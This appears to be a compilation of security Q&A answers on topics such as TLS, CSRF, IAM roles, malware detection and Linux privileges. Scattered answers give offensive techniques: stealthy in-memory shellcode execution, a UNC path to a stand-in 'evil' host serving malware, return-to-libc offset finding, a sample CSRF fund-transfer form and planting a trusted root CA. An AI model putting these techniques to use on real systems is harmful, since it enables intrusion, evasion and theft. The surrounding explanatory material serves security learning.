Sorry but this view that Linux is by default more secure than Windows is wrong. Does GnuTLS mean anything to anyone? How about all of the issues in OpenSSL recently? Vulnerabilities affect Linux just as much as Windows. More so in some cases.

In general, as long as you are keeping your OS and applications patched, you are doing the first few things right. Anti-virus and anti-malware help too, as would a software firewall on the machine.

If you want to go into ultra paranoid mode, then have a look at something like Sophos UTM, or purchase a hardware firewall. Ensure that any ports you don't use are blocked both inbound and outbound.

Use something like Norton DNS so that you don't go to known phishing and Malware sites. Install NoScript in your browser and whitelist only sites you trust.

Ensure you have a sound backup strategy with redundant backups and off-site backups.

Just a few things off the top of my head, but this idea that Linux is inherently more secure than Windows is a myth


Haven't tested it, but it should work.

Use IAM roles

  We designed IAM roles so that your applications can securely make API
  requests from your instances, without requiring you to manage the
  security credentials that the applications use. Instead of creating
  and distributing your AWS credentials, you can delegate permission to
  make API requests using IAM roles...

Create a private S3 bucket.
Store your credentials in the private S3 bucket.
Create an IAM Role and give it a policy that allows it to access the private S3 bucket.
When you create your spot instance, apply the IAM role.
Using ec2 user-data, use a bootstrap script.

call curl http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access to access the s3 security credentials.
Use the s3 credentials to download your database credentials from the s3 bucket created in #1.

You now have securely delivered your credentials to your instance.


If encrypted data in a database are accessed by application, does that mean that the application has the decryption key?

This is a precaution against (certain forms of) SQL injection or anyone who can access the database otherwise (internal breach on your database server). The application will do something like this:

Fetch information from DB ==> use decrypt function on information ==> present to the user

Whereas when using SQL injection, you will directly use queries injected to extract the data. However because you cannot call the decrypt function (because that's part of the application's code) used by the application you can only get encrypted data.

This might not be true for all situations where you can use SQL injection. If a function is vulnerable for SQL injection where there is code which loops through an array of results and decrypts that information and you are able to modify the results which are gathered by the function (by for instance injection a   1=1 statement). You will get those results returned to you, decrypted.

Note that database encryption is just a part of security measures to harden data-driven applications. You can also have a look at this paper by RSA.


How to prevent VPS owner from accessing my API key

You cannot. If you don't own the computer, you don't own the computer.

You will have to calculate the risk. Is more financially rewarding for the VPS owner to provide you with the services, or to steal your keys and your money? Is the reputation damage worth it?

Usually, the VPS owner aren't interested on your data, so if you use a reputable provider, with years of service and lots of users, you will be safe. But a no-name provider using rented servers, dead cheap price, and lack of support may not be a good place to be.


Where you can run shellcode inside an ordinary process, what is a stealthy way to leverage that to get offensive Powershell code running from it?

If I understood correctly what you want, you could try mapping a writable page, writing code to it, switching it to executable, and then you just execute it (and it can be your PS or anything). Use VirtualAlloc instead of Malloc to obtain memory-write permissions with PAGE_EXECUTE_READWRITE. Do not forget to set the execution flag using VirtualProtect after writing to the memory but before finally executing it. Such a tactic should work for your objective and no new process is involved.


Tor: same exact entry node since a week ago

Do not panic, that is the normal behavior you could expect. It is designed that way. But why ? As mentioned in the documentation:

  choosing many random entries and exits gives the user no chance of
  escaping profiling by this kind of attacker. The solution is "entry guards":
  each Tor client selects a few relays at random to use as entry points,
  and uses only those relays for her first hop.

That is why Tor uses only  very few entry relays so that it protects you from using compromised ones.


Which mechanism did Flame use to avoid being identified?

Flame was Signed with certificate so AV get less suspicious about it.
used many layer of obfuscation.
used non-normal language for developing part of it(Lua used!)
used rootkit technique to cover tracks.


Possible arbitrary file download vulnerability

Whilst you probably can't get access to files on the system, it's still a potential vulnerability if you can get it to access UNC paths. You could get the server to download arbitrary files like so:

\\evil-server-example.com\Only\Download\From\Here\malware.exe

Just set up a server with Windows file sharing open to the internet, with an openly accessible share. This will cause the file to be downloaded, thought it may not be stored depending on the configuration of the OS and the code you're dealing with. If it is stored, it's likely to be in a temporary directory. You may be able to leverage this later on.


Bought used computer with working GSM card

Remember, SIM is "subscriber identity module."  It identifies itself to the mobile carrier each time it talks to a cell site, and the carrier knows which cell site.

The best you can hope for is that it will stop working when the original owner gets the next bill.  At worst, you could be tracked down with a cell site simulator (aka "stingray") and charged with theft of services.  There may be consequences in between.


API Security(APIs to be exposed to a specific client)

what is the best way ... ?

It depends on what you mean by "the best":

The quickest to implement?
The cheapest to implement?
The easiest to integrate with Google or Facebook authentication?
The easiest to integrate with clients own authentication system?
A solution with the quickest way to revoke permissions?
The most resistant to a particular attack type?
The easiest for problem analysis and support?
...

Giving access based on some physical aspects (e.g. VPN connection, source IP) may be hard to implement and to maintain. That's why I'd suggest you to consider some authentication system based on user credentials, for instance, based on user/password (or depending on your context you may use client authentication based on user certificates, or based on user hardware like smartcard, or other).
Then you can implement authorization. Based on user (user name or some token), service should decide if particular request should be executed or not.
Without knowing particular context it is hard to suggest anything more specific.


TLS key exchange and certificate subject public key clarification

Can the server return a different certificate chain, where the leaf certificate contains a different key?

Given that the first cipher suite requires an RSA public key and the second an ECC public key and that each certificate can contain only one public key the server must return a different certificate. This might or might not lead to different intermediate certificates or even a different root certificate too.

  Is the RSA key used to only sign the key exchange parameters?

In TLS_RSA_WITH_CAMELLIA_128_CBC_SHA the key exchange is RSA too (not only the public key) which means that the client is using the servers pubkey to encrypt (not sign) the premaster secret.

  What happens if the keyEncipherment (and/or digitalSignature) bit is not set?

It might fail, depending on the key exchange required by the cipher. See Which key usages are required by each key exchange method? for the details.

  Is there a rule of thumb how to handle all the different combinations of key exchange and authentication algorithms?

I'm not sure what you expect, but obviously you need to have all the keyUsage in the certificate which are needed for the key exchange methods and the type of the public key must match the algorithms required by the ciphers. Usually client a server do not support all possible combinations anyway but only a subset.


apis.google.com has an invalid security certificate. How do I overcome this problem?

The error message says that the certificate is valid for "quicksearch.website". A simple search for this name at google shows you that this is malware. There a lots of information online about this specific malware and how to remove it, like Spyware.QuickSearch - Removal.


What can hackers do with ability to read /etc/passwd?

The only real repercussion is reconnaissance - the attacker can learn login names and gecos fields (which sometimes help guess passwords) from the /etc/passwd file.

One reason for this is that, 20 years ago or so, most Unix variants shifted from keeping hashed passwords in the /etc/passwd file and moved them to /etc/shadow.  The reason for this was that /etc/passwd needed to be world readable for tools like 'finger' and 'ident' to work.  Once passwords were segregated into /etc/shadow, that file was made readable only by root.

That said, /etc/passwd remains a popular 'flag' for security analysts and hackers because it's a traditional "hey, I got what I shouldn't" file.  If you can read that, you can read other things under /etc as well, some of which can be useful to an attacker.  But it's harder to test for (say) /etc/yum.conf if you don't know if yum's on the system; /etc/passwd is always there and is a reliable test of whether access worked.

Put differently, the implicit repercussion of getting /etc/passwd is that the attacker has circumvented controls and can get arbitrary readable files, which means "I win!"*

*No actual guarantee of win, express or implied


If a site says its API for login can't be made available for "Security Reasons" should I be worried

It is probably more to make it more difficult to exploit via a fake login page.  If it was possible for a login to be done through the API, then a fake login could be done on another site.  OAuth provides some level of protection against this because of how the information is exchanged.


Antivirus recall and precision not accuracy

This is because of the severe class imbalance problem in malware detection. Instances of the class of interest, programs humans refer to as “malware”, are far outnumbered by instances of “not malware”. Let’s say that out of the set of all programs 1% are malware and 99% are not. A trivial classifier can achieve 99% accuracy by simply assigning all programs it analyzes to the majority class (the “not malware” class). Clearly this approach is not well suited to the purpose of distinguishing between malware and not-malware. Therefore, in classification problems with severe class imbalance there are alternative metrics that can be used to asses model performance besides simple accuracy, particularly in cases where the minority class is the class of interest, as it is with malware. Precision and recall are examples of such alternative metrics.


How effective is Windows Task Manager at identifying keyloggers?

Efficient malware will manipulate the kernel internal structure so as not to appear at all in the list of process (then again, a hide-and-seek game between malware and malware detectors; see for instance this page for some information). Thus, you will not see anything in the task manager.

Even if the keylogger does appear as a task in the task manager, key logging, in its basic forms, is extremely inexpensive. My first computer could keep track of all I typed with its 6809E CPU, running at the blazing speed of 1 MHz. A basic PC is more than 10000 times faster than that, and will thus need no more than 1/10000th of its CPU to log key strokes. To see that in the task manager, you will need sharp eyes... To complicate the setup, there are a lot of process which exhibit some regular activity even when nominally idle; this is typical of process with background garbage collection activity.

And, of course, when you look at the task manager, you observe, among the list of process, the task manager itself, which uses CPU to update the list as graphically rendered on the screen...


What role do hashes play in TLS/SSL certificate validation?

Basically, hash functions are a necessary part of the process of creating a digital signature.

Most signature algorithms are not designed to be able to securely and/or efficiently sign long messages directly, so the first step of each algorithm is usually to hash the message being signed, reducing it to a fixed length which the rest of the signature algorithm is able to effectively process. Similarly, signature verification algorithms involve hashing the message being verified, then performing some set of operations on the signature to check whether it corresponds to that hash.

For example, with RSA signatures the signature can be thought of as a hash of the data being signed, "encrypted" with the signer's private key:

Image from the Wikimedia Commons

The verification process involves "decrypting" the signature (using the signer's public key), and comparing the resulting hash with the hash of the data the signature applies to. In the case of SSL certificates, the data is the SSL certificate itself.

Note: I wrote "encrypted" and "decrypting" in quotes here because in reality the operations used in the RSA signature algorithm aren't exactly the same as those used for RSA encryption. They are close enough though to make for an effective analogy here. With other signature algorithms like ECDSA, the signing and verification algorithms are totally different, not involving "encryption" or really anything resembling the process above, but the message is still hashed as part of the signing and verification process.

For more detailed information on the use of hashing in specific signature algorithms, see:

Why hash the message before signing it with RSA?
Why the need to hash before signing small data?
Wikipedia: Elliptic Curve Digital Signature Algorithm

This answer was derived from reading the questions linked in dave_thompson_085's comment.


Why didn't the stolen Facebook access tokens give access to private messages?

There is a very big difference between:

  has not shown that these tokens were used

and

  has shown that these tokens COULD not be used

The former implies a possibility, but they haven't done it.
The latter would imply that it would be impossible to do. Which isn't the case.


What attacks does Content Security Policy base-uri protect against?

I wasn't able to find any official reason. But generally, injection of a base tag can be used in HTML injections.

For example, consider that an attacker can only post very limited HTML (but can use base). Depending on the point of injection, they could now hijack existing forms to send the information (eg CSRF tokens, passwords, etc) to their server.

Of course, in this case setting form-action would be better than setting base-uri, but might not be practical (eg because legitimate users need to create arbitrary forms).

Another example would be a case where developers can't or don't want to restrict where scripts are loaded from. They have an XSS filter in place which prevents script injection, but they forgot to filter base. An attacker could now perform XSS via base HTML injection. Setting a base-uri would prevent this.

The examples might seem a bit far-fetched. But I would assume that it is these sorts of corner cases that the directives are meant to protect. The base tag has little practical use (at least in production), so why not provide the option to limit it?


Just put this in the .htaccess file:

Order Allow,Deny
Allow from all
<Files /web.xml>
    Order Deny,Allow
    Deny from all
    Allow from 127.0.0.1
</Files>

Let's run through this one line at a time:

Order Allow,Deny - Allow all requests that don't match a htaccess rule.
Allow from all - Allow all requests. We override this rule later with more specific rules.
<Files /web.xml> - Apply the next set of rules to files that match /web.xml. This block overrides the rules set above.
Order Deny,Allow - Deny all requests that don't match a htaccess rule within this block.
Deny from all - Deny all requests. Again, we override this rule with a more specific one.
Allow from 127.0.0.1 - Allow any request from 127.0.0.1 for /web.xml.
</Files> - End the block we started on line 3.

Essentially, this leaves us with "for all files except web.xml, allow all requests. for web.xml, deny all requests unless they're from 127.0.0.1".


There's no way to know without digging.  However, the SSL part doesn't really matter.  There are other issues that could make this impossible though.  To name just a couple:

If the login form is protected from CSRF attacks then you
specifically will not be able to paste a URL in your browser's
address bar and login.  CSRF protection stops that exact kind of
behavior
If the website uses a modern front-end app that communicates with the server exclusively via API calls, then a simple login wouldn't really do it anyway.  Rather, the login form is executing an API request to fetch authorization key of some kind, which is then stored in the front-end application.  As a result even if you could manually post to login form, that wouldn't do you any good.  Instead, the response has to be received by the front-end application to initialize itself.

That's just two off the top of my head.  In essence, there are definitely some cases where what you are trying to do will be impossible.  Whether or not that is the case for this particular instance is anyone's guess.


However, how is this safe? A malicious website can do the exact same thing, hit my log in, receive the token, add to token to header, and then do anything.

The malicious website could grab a csrf token, but as your server will have a different csrf token for each user session, it will be of no use to the malicious website.

To better understand csrf attacks, consider the following workflow:

a user login successfully on your website, creating a session server-side, and getting a session cookie client side that identifies the server-side session
this user now visits another site (malicious) that has an onload event that trigger submitting a form on your website, that is accessible only to logged in user. The form would look like this :

<form method="POST" action="https://your.web.site/secured/transferFund">
    <input type="hidden" name="amount" value="1000"/>
    <input type="hidden" name="to" value="malicous_guy_account"/>
</form>

on submitting this form in an event, it :

will be totally invisible to the end user
work because the client is logged in on your website, and the session cookie will be used for this http request automatically

So how the CSRF token helps ?

It is not stored in a cookie, but either directly in a hidden form field, or in a header, both location cannot be scanned by the malicious website.

So now, when the malicious website tries to submit the previous form, the csrf token is missing or invalid, and will be rejected server-side as not authorized.

For that to work, you need :

different token for each user session,
to tie the token to the session lifecycle,
to keep it away from cookies,
that everything that changes state server side, is behind a POST action
that every POST action has its CSRF token validated


In what cases should applications be prepared for brute force?

this is illegal anyways––should they still care about my report?

Very much so.

To give one of a by now long series of such examples, consider (one of) the Yahoo hack, for example the 1 billion account hack reported in late 2016 (see also Krebs's coverage).

To quickly cover why "this is illegal anyway" is not a legitimate response:

Yahoo had some sensitive data (in this case, user emails, passwords, and possibly more) stolen, yet Yahoo still has a duty to announce (and investigate) the hack
that duty extends to its financial reporting, as explained in the footer of one of their press releases about the impact to users:

  More information about potential risks and uncertainties of security breaches that could affect the Company’s business and financial results is included under the caption “Risk Factors” in the Company’s Quarterly Report on Form 10-Q for the quarter ended September 30, 2016, which is on file with the SEC and available on the SEC’s website at www.sec.gov.

depending on your country, the duty of reporting may also be tied to fines and other legal or financial consequences (Europe, for example).

All this tends to focus on Personally Identifiable Information (PII), but in the case of a university, the loss or theft of research (particularly when not protected by patents) could impact the financial status of the university.
Not to mention the fact that universities do also hold PII, and so a breach would need to be investigated to determine what kind of data may have leaked.

I am not a lawyer, but there are so many cases where, at the very least, investigation would be warranted (if not required to determine the legal consequences), that I think the report would (assuming it was felt to be reliable, and accurate) given attention.

If you provide bad (or even overly noisy) reporting, then it may be they will ignore your report. But I would be surprised if conclusive evidence of a breach would be ignored.


Save application autostart login token on computer

The most secure generally available storage option that you're going to have on Windows is is the Windows Data Protection API (widely known by the acronym DPAPI.)   This is one of the options for managing the encrypted web.config file sections that you mentioned as an example.

DPAPI gives you user and machine specific encrypted storage for sensitive data, so even if the encrypted data is stolen, it can't be decrypted on another computer, and even if the attacker has access to the computer housing the encrypted data, it can't be decrypted without the correct user logging into Windows with the correct password.  It isn't foolproof, but it's a fairly strong mechanism and would be what I would probably choose in this situation.


An analysis of storing hints for passwords?

The real world impact of hints on security is large. Sarah Palin's account was hacked because someone figured out her high school.

Hints are essentially public info. They are provided to any untrusted person who clicks "I forgot my password." In that context alone, encrypting them doesn't make much sense. But Adobe proved that storing hints with encrypted passwords provides extra weakness.

In general, the security still has to come down to proper hashing of salted passwords. Storing passwords is insecure. Unhashed passwords are insecure. ECB is insecure. None of their mistakes weren't already common public knowledge, and they were all failures to follow best practices.

Would I recommend encrypting hints? Instead, I'd  recommend they use an out-of-band password reset process (via SMS or some other method) and skip the hints entirely.


Is it possible to put a certificate as trusted CA into Windows, given only physical access to system drive

You can do this. First, look at the certificate properties and locate the thumbprint value. For an example, let's look at an existing certificate which you can do this using the MMC Certificates snap-in:

Select Local Computer and then browse to the Trusted Certification Authorities section to view the certificates there:

Looking at the properties, locate the Thumbprint value:

Now, open Regedit.exe and navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates and find that thumbprint in the list:

Right-click that value and export it to a file. Next, mount the other hard drive and load the HKLM registry hive and import that value. The certificate should now be trusted.


Monero miner in ~/.info directory - a worm signature?

As others have stated, the miner is just the payload. If this is a web server you may want to look at the Apache or the web server access logs around the same time stamp as the creation date of the md file. It's possible they exploited a vulnerability or logged into an administrative page with a default password.  You could also check if syslog got SSH logins and see if any came in around same time or from unusual source IP as again maybe you have a default or weak password set.

If all you did was delete the miner you likely have other issues and the miner or other malware may come back since the attacker probably still has an entry point or has placed multiple backdoors on the system.

You could also run netstat -anop and look for odd network connections outbound as the attacker may have a reverse shell or another miner on the system.

You could also if it's a web server review all files in all web folders on the system looking webshells (odd webpages that attacker dropped in order to remotely execute commands).

Attackers don't just go away if you delete the payload so be in the look out for them to return or they may already be there.


How to verify if a RADIUS server certificate is really validated on Windows 10?

First idea was to perform the evil twin attack and test, but that would require heavy arrangements. Much easier is to make the existing network temporarily look like a foreign environment. This can be done on the client side:

Manually remove the certificate for radius.example.com from the Trusted Root Certification Authorities using the Certificates (Local Computer) Snap-in and create a fake replacement.
Try to connect to the wireless network. This should now fail as the certificate verification fails.
Using wired network, run gpupdate /force and reboot the computer, if required.
The certificate gets reinstalled and the wireless network authentication should work again.


Can any tools/tactics produce a higher confidence in a clean system than Microsoft Security Scanner?

If you want a guarantee, go back to scratch. Nuke the disk and reinstall from source media.

There are too many things that can't be "cleaned" using any tools.

When we want to see the contents of an untrusted hard drive, we spin up a clean VM (free stuff, look at virtualbox). We attach the drive to the VM, recover the files we know are safe. Run any kind of necessary scanning in the VM. Finally, transfer them to the host OS. Then nuke the VM and start again (or restore from the snapshot).

Hope that helps.


If I "print to PDF" a website that has a malware will the pdf be infected?

It depends on how exactly the exploit on the website works. It is in fact not unconceivable that there might be an exploit which only works when the website is printed out,  because it targets a vulnerability in the browser's print system.

However, even that is very unlikely to result in an infective PDF. A "print to PDF" functionality is usually implemented as a virtual printer driver. That means the web browser generates a printout, forwards it to the operating system's print system which then calls the driver which then takes that print output and turns it into a PDF.

Most web-based exploits use javascript or browser plugins like Flash or Java. Such active content can not be represented in print and not in a PDF either (PDF has some JavaScript support, but that uses a completely different API than javascript in a web browser, so most exploits won't be transferable). So most features which offer attack surfaces simply can't survive the conversion to a printout.

But keep in mind that there are known vulnerabilities in some versions of Adobe PDF reader (and other PDF readers) which can be exploited by especially crafted PDF files. This applies in situations where the PDF is generated by the website itself and not through the browser's print system. When an untrustworthy website offers some "download this as PDF" functionality, be careful about opening it.


Vulnerable web sockets application for training

I think this is what you are looking for: Analysing, Testing and Fuzzing WebSocket Implementations with IronWASP. Looks like it has a nice set of tools for training and getting started with Web Socket Security. I stumbled upon this a few days ago but didn't get a chance to actually try their demo out. Just to give a summary of that blog post -- the author has added 5 new tools to IronWASP (an Open Source Advanced Web Security Testing Platform) dedicated to Web Socket testing:

  1) WebSocket Message Analyzer: An utility to analyse complex WebSocket
  implementations in a simple way. Check out this report of of our
  WebSocket Demo Application.

  2) Online Cross-Site WebSocket Hijacking Tester: An online tool to
  easily check for CSWSH issues. Check it out here. To understand more
  about Cross-Site WebSocket Hijacking check out this post on
  NotSoSecure

  3) WebSocket Client: Versatile WebSocket client that lets you send
  store and send multiple messages along with setting custom Origin and
  Cookie headers. Perfect for checking Cross-Site WebSocket Hijacking
  and other WebSocket issues.

  4) WebSocket Scripting API for Python and Ruby: To automated checks and
  write custom fuzzers for WebSocket implementations. Generic fuzzers
  don't work for asynchronous protocols like WebSockets.

  5) WebSocket Demo App: A sample vulnerable application that is built to
  use WebSockets heavily. Good test bed to test and learn WebSocket
  security testing.

Again, I haven't had a chance to try these out yet, but this one looked interesting.

Please feel free to share any other resources you guys may have in comments, answers or even by adding them to my post. It'd be nice to have a comprehensive list of resources for training purpose. Here are some other resources on Web Socket Security:

Nice intro to WebSocket and its Security
Heroku's Dev Center - WebSocket Security


How to find the adware that shows pop up ads on my Android phone?

Two possibilities:

A background process (not an app, but started by an app) that is triggering ads. In this case you may not see the app itself in recent / running apps.
More likely, your ISP is triggering the ads. Airtel is known to have done this on and off (I've experienced it first hand), targeting specific circles and specific browsers. In my case, switching browsers solved it for sometime. If the ads are popping up when you're not browsing, you're situation is probably a bit different.


When a mail transport agent (a mail server) receives an email, it's required to add a Received header indicating from where it received the data.  This customarily contains information about the hostname or IP of the server, the date and time of receipt, the protocol used (including whether it was authenticated), and potentially other information.  In addition, it may include information about the account used to send the mail, which is useful for dealing with abuse problems.
The information that's recorded is what the mail server recorded when the mail was received.  If you sent the mail from a machine without using the VPN, then the public IP address will be recorded as part of the email, regardless of whether you use a VPN or otherwise change your IP address later.  If you were using a VPN when the mail was sent and you properly configured it, then the VPN's IP address will be used.
If you used a webmail client, the webmail client, as a tool that processes email, will also probably insert a Received header before forwarding it onto the mail server, and it will usually insert the IP address it saw as well.  The same policy applies from the paragraph above, just substitute "webmail interface" with "mail server."
Do note that if you sent a mail to your normal ISP, regardless of whether you used a VPN, they will probably record the fact that you authenticated to send the mail, either in the email, or in their logs.  All reputable providers require some sort of authentication (or other sender verification, such as an IP check) before sending mail destined for other domains, because otherwise spammers would abuse those servers.  Thus, it's not possible to send an anonymous email directly through your ISP's mail server unless you use a service such as a remailer.


What kind of attack is prevented by Apache2's error code AH02032 ("Hostname provided via SNI and hostname provided via HTTP are different")?

Server Name Indication (SNI) is a TLS extension which allows a TLS client to indicate which host it is trying to reach. This is important for web servers with virtual hosts (i.e. multiple domains hosted from one box) so that they can decide which certificate to return. Normally the target virtual host is detected via the Host HTTP header, but that can't be sent before a TLS tunnel is constructed. SNI allows the TLS client to indicate the name so that the correct certificate can be served, before the underlying HTTP call is made. Another feature of most TLS servers is that SNI can be used to pick between different TLS configurations that have been configured for each virtual host.

Since you now have two indicators of which host you were trying to reach (SNI and Host header) there may be odd behaviours if you force them not to match. Now, imagine a situation where you've got a site which uses HTTPS, but also an administrative subdomain, and they're both hosted on the same server. The administrative subdomain is locked down at the SNI configuration level so that it requires a client certificate. This means that regular site usage just runs normal HTTPS, but you need a client certificate to connect to the admin subdomain.

However, if you were to make a request where the SNI points to the main domain, but the Host header points to the administrative subdomain, you can construct the TLS tunnel without the client certificate (because the main site's rules are used) but the web server may serve content as if you were connecting to the administrative subdomain. This could allow you to bypass that client certificate restriction.


SSL/TLS - Distinction between self-signed cert and self-signed CA, and other questions?

A CA certificate is a certificate which is owned by a CA and marked as being suitable for usage as a CA; namely, that it contains a Basic Constraints extension with the "cA" flag set to TRUE.

A self-signed certificate is a certificate which is signed with the private key corresponding to the public key which is in the certificate itself. This means that the certificate was issued by the certificate owner itself, not by somebody else.

A CA certificate can be self-issued; this is the normal case for a root CA. A root CA is a CA which exists by itself and is meant to be trusted a priori (manually included in a Web browser or an OS certificate store) and not by virtue of being issued by another, trusted CA.

Creating a self-signed CA and using it to sign the actual server certificate (option 1B) is useful if you envision to issue several certificates (possibly many) for many servers. With your own root CA (that's what option 1B means), you would just have to insert one certificate manually in all the clients (your self-signed root CA). If you only have a single server certificate to produce, and predict that things will stay that way, then option 1A is as good as 1B, arguably better since it is simpler.

The -des3 option is for symmetric encryption of the CA key. That's not bad. There is not enough computing power (or, for that matter, raw power) on Earth to break properly done 3DES encryption. Going to AES-256 would be useless, and it might prove difficult because the OpenSSL command-line tool do not support it out-of-the-box (OpenSSL, the library, includes an AES-256 implementation, but the command-line tools do not given an easy access to it when it comes to symmetric encryption of private key).

Digital signatures (that which are applied on certificates) use, by definition, asymmetric keys. Asymmetric keys require a lot of internal mathematical structure, and that structure can be used to weaken them, so they have to be much bigger than symmetric keys in order to achieve a decent level of security. Which is why a good RSA key will have to go to 2048 bits or so, while a 128-bit symmetric key is already rock solid. The line:

openssl genrsa -des3 -out server.key 4096

generates a new asymmetric RSA key pair of size 4096 bits, and stores that in the file server.key. That storage is furthermore protected (encrypted) with 3DES, using a symmetric key derived from the password you type at that point.

The private key includes a copy of the public key. The public key (but, of course, not the private key) will also be part of the certificate: it is first copied into a certificate request (the ".csr" file) and then into the certificate itself.


Why is security through obscurity not a good option for encryption?

The reason that relying on security through obscurity is frowned upon, is that once the algorithm is leaked or broken, you've totally lost all the security gained by obscurity.  So if any actor with access to the algorithm ever leaves your organization, or you are hacked, or source code (or an executable) of a encryption/decryption program is somehow leaked/stolen, then you've completely lost all the security from your algorithm being obscure.

To regain the security through obscurity, you have to come up with a totally new cryptographic algorithm, get cryptographic experts to securely analyze the new algorithm, and secretly exchange the algorithm with all parties that need to communicate.

Meanwhile, while using standard well-vetted cryptographic algorithms, we separate the algorithm (where you don't mind if someone steals it) from the key that is computationally unfeasible to brute-force (e.g., to brute-force a 256-bit symmetric key if every proton/neutron on Earth (all 10^51 of them) each tried a billion keys a second, in a million years of brute forcing it, you'd only have a 1 in 1000 chance of breaking it).

Only the key needs to be kept secret.  If you lose a key through an attack or need to securely send messages with a new party, you don't need to invent a totally new algorithm.  You just need to generate a new key.

With a well-vetted public algorithm anyone can come along and try to analyze it and see if there are any serious vulnerabilities.  That can't be done with your private algorithm which often are much weaker than the implementer may think.  (E.g., as Daniel mentioned the algorithm you described would be vulnerable to many standard attacks like letter frequency analysis, analyzing periods in the text, exploiting patterns in underlying plaintext, etc.)

Additionally, using secret algorithms is significantly more difficult from a usability standpoint.  There's much more the user has to remember for every exchange with every other user.  When you find some file you encrypted 5 years ago or someone sends you a file, even if you still have the key/password it will be much easier to decrypt if you know it was encrypted with AES256 in CBC-mode, as there file meta-data stating that information, versus trying to remember what type of secret custom encryption algorithm you may have been using with this particular individual.  If users work on a variety of platforms, it becomes troublesome to get your custom secret encryption algorithm working perfectly on all of them.


Can you wipe a USB flash drive so securely that it's impossible to recover deleted files through forensic analysis?

Unlikely. SSD/usbs have firmware that automatically shuffles the available storage to account for errors in sections of the flash storage. Its possible that your important files are now stored on a bit of flash that effectively does not exist in the eyes of the OS and therefore can not be securely wiped.

The easiest way to be fully sure that none of your data is recoverable is to use full disk encryption from the beginning. Without the key, the data on the drive is effectively random and useless. That way if you ever sell or lose your drive, no amount of analysis will get any data out of it as long as your key was secure.

I'm also not sure TRIM can actually be used to securely wipe drives but I will leave that up to someone who knows more about it.


Can / will be answered with 3. together below.
To the best of my knowledge it is a mixture of both. The internal scheduler of OpenVAS is scheduling and launching VTs based on a dependency chain (e.g. VT y.nasl depends on VT x.nasl) so the VT get consecutively launched depending on this dependency chain. But then again the order depends on at which time the previous dependency got scheduled an launched. In turn this means the order on subsequent scans might be a different one because a specific dependency had a different run time (e.g. slower responding target caused a longer run time of the dependency or any other in the chain, newly added VTs in the dependency chain, ...) causing a different running order then in the previous scan.
OpenVAS is capable of logging each scheduled and launched VT in it's logfile (openvas.log, should be at /var/log/gvm/openvas.log on Kali). You can enable this logging by setting log_whole_attack = yes in your openvas.conf (Location can bee seen with openvas -s | grep config_file). If the file doesn't exist you can create it manually and add just that string to it. Note that the extended logging might fill up your disc space so only enable the logging during your debugging work and disable it afterwards.


If I'm PCI-DSS compliant, do I need to worry about GDPR?

Assuming GDPR apply to your organization, yes you should worry about GDPR.

PCI-DSS compliance doesn't imply GDPR compliance.

There are many concept present in GDPR and not in PCI-DSS or not with the same scope/expectations. For me you will have to take a close look of some principle of the GDPR like :

Admissibility of the user for the processing of his personal data
Necessity of the data processing
Transparency to the data subject
Limitation of use to specific purpose
Principle of data reduction (collecting as little personal data as possible)
Data deletion
Data controller and subcontractor

The two regulations have different scopes.

The GDPR scope is much more wider than PCI-DSS which is focusing on the handling and protection of card holder data. GDPR scope include all the personal data your organization is potentially handling. So it will affect many different department of you organization and not only the part which is manipulating card holder data. For example your HR department will be in scope of GDPR for sure as they are collecting & storing personal data of the company employees.


Using OpenSSL to encrypt/decrypt a file?

The input and output files should contain the binary data while the IV and KEY arguments should be hexadecimal data. But, you probably have put the hexadecimal data (f34481ec3cc627bacd5dc3fb08f273e6) into the input file and thus created an input file consisting of 32 ASCII characters instead of 16 (binary) bytes.

If done correctly it works.
First decode the hex string into binary, i.e. 32 byte hex into 16 byte binary data:

$ perl -e 'print pack(q[H*],q[f34481ec3cc627bacd5dc3fb08f273e6])'  > in.txt

Then run the encryption. Note that I've additionally used the -nopad option in the encryption because otherwise openssl adds an additional empty 16 bytes block to pad the input to the next 16 byte boundary.

$ openssl aes-128-cbc -nopad -e -in in.txt -out out.txt \
  -K  00000000000000000000000000000000 -iv 00000000000000000000000000000000 -p -nosalt

And finally encode the binary output (16 bytes) into  a hex string so that you can compare it to the expected result:

$ perl -e 'local $/; print unpack(q[H*],<>),"\n"' < out.txt
0336763e966d92595a567cc9ce537f5e


man bash:

  If  the  shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, ... and the effective user  id  is set to the real user id.

See also (Ubuntu) setuid bash doesn't work, Setuid bit seems to have no effect on bash and many other resources.


If there is an exploit in that program that allows for remote code execution, I as an attacker could trigger that vulnerability to run code as the root user. If I can take actions on behalf of root, I own the machine. I can do whatever I want on that device. I can view, modify or delete any file I choose. Any connections that machine has to other applications, I can leverage to then move laterally across the network. The root user is the highest privilege level, and should be protected for this reason.
If that java app is instead run as the user user, and user has sudo permissions, that would still be much more secure than running the app as root. In this case, if I were to exploit a vulnerability that allowed for RCE, I would only have the permissions and access that user has. I wouldn't be able to run sudo to escalate to root without the password for user, the hash of which is hidden away in /etc/shadow (a file that only root can read). So after the initial foothold on the linux machine, I would have to find a privilege escalation vulnerability to exploit in order to get root privileges. This adds a layer of security which helps to prevent high impact compromises.


How to find buffer offset for Return to Libc Attack

A simple way to do this is by using an input of the following form
'a'*BUFF_SIZE + 'qwertyuiopasdfghjklzxcvbnm'. The return address will be overwritten by 4(Assuming 32 bit system) consecutive characters from this string. Run your program with this input and it will naturally give a segmentation fault. Use dmesg | tail to find the address where it jumped. Say that came out to be zlkj. So now you have the offset. Just replace jklz with the address where you want to jump. Be sure to take care of endianness while replacing the address.


How could you find wildcard subdomains on websites?

In this answer, you can detect from DNS if they have a wildcard domain, this will save you time (and you won't have HTTP queries to the domain)

Taken from the serverfault post:

# dig +short '*.not-a-real-domain.com'
1.2.3.4


Packets do contain information about the source of the packet: the IP source address field contains the IP address of the source of the packet.  IP source addresses can be spoofed, but for TCP connections over a wired network, this kind of spoofing is generally more effort than most attackers are likely to go to.  Therefore, this IP address is generally reasonably reliable as the source of the packet, for TCP connections over wired networks.

Tracert doesn't seem to be of any obvious relevance here.  If you are getting the same path to several different hosts, maybe those hosts are all hosted on the same local network.  (Another possibility is that you have been infected with DNS hijacking malware, which redirects all DNS lookups to point you to a malicious proxy host.  A quick-and-dirty check for this by doing some DNS lookups on your system and on another totally independent system and seeing if you get the same answer.)

It sounds like the real question is you want to visit the web page yourself in your browser, and you're asking how to do that, given a packet trace.  First off, please be pretty careful about this: you could easily end up getting compromised.  Run your browser in a disposable VM, and throw away the VM after you've finished your investigation.

